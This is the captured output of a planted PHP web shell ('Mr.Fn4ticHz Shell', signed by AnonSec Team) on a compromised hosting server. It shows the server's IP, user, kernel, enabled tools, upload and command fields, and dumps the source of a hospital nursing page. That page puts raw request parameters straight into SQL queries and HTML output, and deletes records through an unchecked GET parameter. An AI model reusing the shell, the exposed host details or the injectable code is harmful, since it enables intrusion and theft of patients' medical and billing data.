Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.149.240.196
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/Ryles_tube_insertion.php
<?php
session_start();
require_once ('../../lib/config/config.php');
require_once("../../../LoginManager_mod.php");
@include("../../dbconnection.php");
 $db = getDbInstance();



if(!isset($_SESSION['uname']))
{
	echo "<script>alert('Session Expired..');</script><script>window.location='../index.php';</script>";
}

$title='Ryles tube';
require_once ('../../lib/helpers/manager.php');
		

if(@isset($_POST[Ryles_tube])){
    
   		    
	    $updated_at=date("Y-m-d");
   $created_at=date("F d, Y / h:i:s A");
  
    
    
    $Suction=$db->query("INSERT INTO Ryles_tube(id,prescriptionid,patientid,Ryles_tube,rate,ward_id,bed_id,entered_by,created_at,updated_at) VALUES (NULL,'$_POST[prescriptionid]','$_POST[patientid]','$_POST[Ryles_tube]','$_POST[rate]','$_POST[Ward]','$_POST[Bed]','$_POST[entered_by]','$created_at','$updated_at')");



$sql =$con->query("select last_insert_id() from Ryles_tube");
$row=mysqli_fetch_row($sql);
$id=$row['id'];



$patient_invace=$db->query("INSERT INTO patient_invace(invaceid,patientid,prescriptionid,discription,pagetype,link,pricetotal,discount,grand_total,paymentmode,status,entered_by,created_at,updated_at) VALUES (NULL, '$_POST[patientid]','$_POST[prescriptionid]','Ryles tube','$id','recordsinvace.php?prescriptionid=$_POST[prescriptionid]&patientid=$_POST[patientid]','$RowTarif[rate]','discount','grand_total','paymentmode','status','$_POST[entered_by]','$created_at','$updated_at')");

 $site_users = $con->query("SELECT * FROM save_activity WHERE prescriptionid = '$_POST[prescriptionid]' AND userno='$_POST[patientid]' AND discription='Record Sheet<br>Ryles_tube_insertion<br>Doc.no-'");
$numrows=mysqli_num_rows($site_users);
if($numrows > 0){
        //echo "<script>alert('Already Exists');</script>";
    	}else{ 
    	    
    

    $activity=$con->query("INSERT INTO save_activity(srno,userno,prescriptionid,discription,entered_by,link,created_at,updated_at) VALUES (NULL, '$_POST[patientid]','$_POST[prescriptionid]','Record Sheet<br>Ryles_tube_insertion<br>Doc.no-','$_POST[entered_by]','recordsInvoice_Ryles_tube_insertion.php?prescriptionid=$_POST[prescriptionid]&patientid=$_POST[patientid]&type=Ryles_tube_insertion',' $created_at','$updated_at')");


}  

if($sql){
echo "<script>alert('Ryles Tube add successfully..');</script><script>window.history.go(-1)</script>;</script>";
}else {
	echo "Fail";
}  
 
    
	 }
	 
if(@isset($_GET[delid]))
{
$db->where('id', $_GET[delid]);
if($db->delete('Ryles_tube')){ 
    
$db->where('pagetype', $_GET[delid]);
if($db->delete('patient_invace')){
echo "<script>alert('Deleted successfully..');</script><script>window.history.go(-1)</script>;</script>";
	}
}
} 
	 
  ?> 

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta charset="utf-8" />
<title><?php echo $title; ?></title>

<meta name="description" content="Common form elements and layouts" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />

<!-- bootstrap & fontawesome -->
<link rel="stylesheet" href="../assets/css/bootstrap.min.css" />
<link rel="stylesheet" href="../assets/font-awesome/4.5.0/css/font-awesome.min.css" />

<!-- page specific plugin styles -->
<link rel="stylesheet" href="../assets/css/jquery-ui.custom.min.css" />
<link rel="stylesheet" href="../assets/css/chosen.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-datepicker3.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-timepicker.min.css" />
<link rel="stylesheet" href="../assets/css/daterangepicker.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-datetimepicker.min.css" />
<link rel="stylesheet" href="../assets/css/bootstrap-colorpicker.min.css" />

<!-- text fonts -->
<link rel="stylesheet" href="../assets/css/fonts.googleapis.com.css" />

<!-- ace styles -->
<link rel="stylesheet" href="../assets/css/ace.min.css" class="ace-main-stylesheet" id="main-ace-style" />

<!--[if lte IE 9]>
<link rel="stylesheet" href="../assets/css/ace-part2.min.css" class="ace-main-stylesheet" />
<![endif]-->
<link rel="stylesheet" href="../assets/css/ace-skins.min.css" />
<link rel="stylesheet" href="../assets/css/ace-rtl.min.css" />

<!--[if lte IE 9]>
<link rel="stylesheet" href="../assets/css/ace-ie.min.css" />
<![endif]-->

<!-- inline styles related to this page -->

<!-- ace settings handler -->
<script src="../assets/js/ace-extra.min.js"></script>

<!-- HTML5shiv and Respond.js for IE8 to support HTML5 elements and media queries -->

<!--[if lte IE 8]>
<script src="../assets/js/html5shiv.min.js"></script>
<script src="../assets/js/respond.min.js"></script>
<![endif]-->
</head>

	<body class="no-skin">
		<?php include('../includes/header2.php'); ?>

		<div class="main-container ace-save-state" id="main-container">
			<script type="text/javascript">
				try{ace.settings.loadState('main-container')}catch(e){}
			</script>

			<div id="sidebar" class="sidebar                  responsive                    ace-save-state">
				<script type="text/javascript">
					try{ace.settings.loadState('sidebar')}catch(e){}
				</script>

				<?php include('top-header-icon.php'); ?>

				
				
				<!-- /.nav-list -->
				
				<?php include('sidebar.php'); ?>
			<!-- /.nav-list -->

				<div class="sidebar-toggle sidebar-collapse" id="sidebar-collapse">
					<i id="sidebar-toggle-icon" class="ace-icon fa fa-angle-double-left ace-save-state" data-icon1="ace-icon fa fa-angle-double-left" data-icon2="ace-icon fa fa-angle-double-right"></i>
				</div>
			</div>

			<div class="main-content">
				<div class="main-content-inner">
					<div class="breadcrumbs ace-save-state" id="breadcrumbs">
						<ul class="breadcrumb">
							<li>
								<i class="ace-icon fa fa-home home-icon"></i>
								<a href="#">Home</a>
							</li>

						
							<li class="active"><?php echo $title; ?></li>
						</ul><!-- /.breadcrumb -->

						<div class="nav-search" id="nav-search">
							<form class="form-search">
								<span class="input-icon">
									<input type="text" placeholder="Search ..." class="nav-search-input" id="nav-search-input" autocomplete="off" />
									<i class="ace-icon fa fa-search nav-search-icon"></i>
								</span>
							</form>
						</div><!-- /.nav-search -->
					</div>

			<div class="page-content">
						<div class="ace-settings-container" id="ace-settings-container">
							<div class="btn btn-app btn-xs btn-warning ace-settings-btn" id="ace-settings-btn">
								<i class="ace-icon fa fa-file-text-o bigger-130"></i>
							</div>

							<?php include("incident_sidebar.php"); ?><!-- /.ace-settings-box -->
						</div><!-- /.ace-settings-container -->

						<div class="page-header">
							
						</div><!-- /.page-header -->

<div class="row">
<div class="col-xs-12">
    
    
    
    
 <div class="panel panel-primary">
               
    <div class="panel-body">
      <h4 class="text-on-pannel text-primary"><strong class="text-uppercase"><?php echo $title; ?>
 </strong></h4>
   
<!-- PAGE CONTENT BEGINS --><br>
<form  method="post"  enctype="multipart/form-data" style='padding:10px;'>
   	    
<?php

   $db->where ("prescriptionid", $_GET['prescriptionid']);
   $db->where ("patientid", $_GET['patientid']);
   $RowRFA = $db->getOne("request_for_admission");


   $db->where ("tarifid", '33');
   $db->where ("hospitalid", $entered_by);
   $db->where ("wardid", $RowRFA['Ward']);
   $RowTarif = $db->getOne("tarifrate");
	  
   
?>      	    
    <input type='hidden' name='entered_by' value='<?php echo $entered_by; ?>'>
<input type='hidden' name='patientid' value='<?php echo $_GET['patientid']; ?>'>
<input type='hidden' name='prescriptionid' value='<?php echo $_GET['prescriptionid']; ?>'>
<input type='hidden' name='Ward' value='<?php echo $RowRFA['Ward']; ?>'>
<input type='hidden' name='Bed' value='<?php echo $RowRFA['Bed']; ?>'>
<input type='hidden' name='rate' value='<?php echo $RowTarif['rate']; ?>'>        	         	         	    
    <button class='btn btn-success' value="Done" name="Ryles_tube" type="submit"><i class="fa fa-plus"></i>  Ryles tube Done</button>
        
</form>


<table id="dynamic-table" class="table table-striped table-bordered table-hover dataTable no-footer">
      <thead>
                  <tr>
        <th>Timing </th>
          <th>Performed </th>
          <th>Created By</th>  
          <th>Action</th>    

               </tr>
        </thead> <tbody>
<?php

$db->where ("prescriptionid", $_GET['prescriptionid']);
   $db->where ("patientid", $_GET['patientid']);
   $RowRyles_tube = $db->get("Ryles_tube");
   foreach ($RowRyles_tube as $RowRFA) {
       
  $db->where ("userno", $RowRFA['entered_by']);
 $re1 = $db->get("site_users");
 foreach ($re1 as $re) {  		    
		    
        echo "
	                <tr>
               
                 <td>&nbsp;$RowRFA[created_at]</td>
                 <td>&nbsp;$RowRFA[Ryles_tube]</td>
                    <td>&nbsp;$re[name]</td>
                 <td> <a href='Ryles_tube_insertion.php?prescriptionid=$RowRFA[prescriptionid]&patientid=$RowRFA[patientid]&delid=$RowRFA[id]'><i class='fa fa-trash-o' aria-hidden='true' style='font-size:20px; color:red;'></i></a></td>
                                 </tr>                   
          
          ";


}

}

?>     </tbody>
  <tfoot>
          </tfoot>
        </table>


</div></div>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->

<?php include('../includes/footer.php'); ?>

<a href="#" id="btn-scroll-up" class="btn-scroll-up btn btn-sm btn-inverse">
<i class="ace-icon fa fa-angle-double-up icon-only bigger-110"></i>
</a>
</div><!-- /.main-container -->

<!-- basic scripts -->

<!--[if !IE]> -->
<script src="../assets/js/jquery-2.1.4.min.js"></script>

<!-- <![endif]-->

<!--[if IE]>
<script src="../assets/js/jquery-1.11.3.min.js"></script>
<![endif]-->
<script type="text/javascript">
if('ontouchstart' in document.documentElement) document.write("<script src='../assets/js/jquery.mobile.custom.min.js'>"+"<"+"/script>");
</script>
<script src="../assets/js/bootstrap.min.js"></script>

<!-- page specific plugin scripts -->

<!--[if lte IE 8]>
<script src="../assets/js/excanvas.min.js"></script>
<![endif]-->
<script src="../assets/js/jquery-ui.custom.min.js"></script>
<script src="../assets/js/jquery.ui.touch-punch.min.js"></script>
<script src="../assets/js/chosen.jquery.min.js"></script>
<script src="../assets/js/spinbox.min.js"></script>
<script src="../assets/js/bootstrap-datepicker.min.js"></script>
<script src="../assets/js/bootstrap-timepicker.min.js"></script>
<script src="../assets/js/moment.min.js"></script>
<script src="../assets/js/daterangepicker.min.js"></script>
<script src="../assets/js/bootstrap-datetimepicker.min.js"></script>
<script src="../assets/js/bootstrap-colorpicker.min.js"></script>
<script src="../assets/js/jquery.knob.min.js"></script>
<script src="../assets/js/autosize.min.js"></script>
<script src="../assets/js/jquery.inputlimiter.min.js"></script>
<script src="../assets/js/jquery.maskedinput.min.js"></script>
<script src="../assets/js/bootstrap-tag.min.js"></script>

<!-- ace scripts -->
<script src="../assets/js/ace-elements.min.js"></script>
<script src="../assets/js/ace.min.js"></script>

<!-- inline scripts related to this page -->
<script>
document.getElementById('btn').addEventListener("click", function(){
this.classList.add("loading");
this.innerHTML = "Loading...";
});
</script>


<style>
    .text-on-pannel {
  background: #fff none repeat scroll 0 0;
  height: auto;
  margin-left: 20px;
  padding: 3px 5px;
  position: absolute;
  margin-top: -47px;
  border: 1px solid #337ab7;
  border-radius: 8px;
  
}

.panel {
  /* for text on pannel */
  margin-top: 27px !important;
}

.panel-body {
  padding-top: 30px !important;
  
}

.panel-primary {
    
    border-color: #116bb9;
}

.donate-now {
     list-style-type:none;
     margin:25px 0 0 0;
     padding:0;
}

.donate-now li {
     float:left;
     margin:0 5px 0 0;
}

.donate-now label {
     padding:5px;
     border:1px solid #CCC; 
     cursor:pointer;
}

.donate-now label:hover {
     background:#DDD;
}
</style>	

</body>
</html>

Anon7 - 2022
AnonSec Team